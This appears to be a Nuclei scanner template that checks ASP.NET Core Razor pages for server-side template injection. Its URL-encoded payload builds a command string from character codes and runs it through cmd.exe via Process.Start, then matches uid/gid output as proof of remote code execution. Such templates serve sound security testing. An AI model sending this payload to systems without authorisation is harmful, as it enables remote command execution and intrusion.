id: razor-ssti

info:
  name: Razor - Server Side Template Injection
  author: ritikchaddha
  severity: high
  description: |
    Razor is a server-side templating engine for ASP.NET Core, it is a powerful template engine that can run pure C# code. It allows for server-side template injection by exploiting the Razor syntax.
  reference:
    - https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation
  metadata:
    max-request: 1
  tags: razor,ssti,dast,vuln

http:
  - pre-condition:
      - type: dsl
        dsl:
          - 'method == "GET"'
          - 'method == "POST"'
          - 'method == "PUT"'
    payloads:
      injection:
        - "@{string+x%3Dnull%3Bint[]l%3D{105%2C100}%3Bforeach(int+c+in+l){x%2B%3D((char)c).ToString()%3B}%3B}@System.Diagnostics.Process.Start(%22cmd.exe%22%2C+%22/c+%22+x)"

    fuzzing:
      - parts:
          - query
          - body
        type: replace
        mode: single
        fuzz:
          - "{{injection}}"

    matchers:
      - type: regex
        part: body
        regex:
          - "uid=[0-9]+.*gid=[0-9]+.*"
# digest: 4a0a004730450220037a9ca2b2ac11f0fa5e8fe133c5683b101b009a744a6f1958dda56852c33a8c022100de0c3346eaf86e8166ac32a43d98e9dceacece418839955ccee67a9a2b8eb174:922c64590222798bb761d5b6d8e72950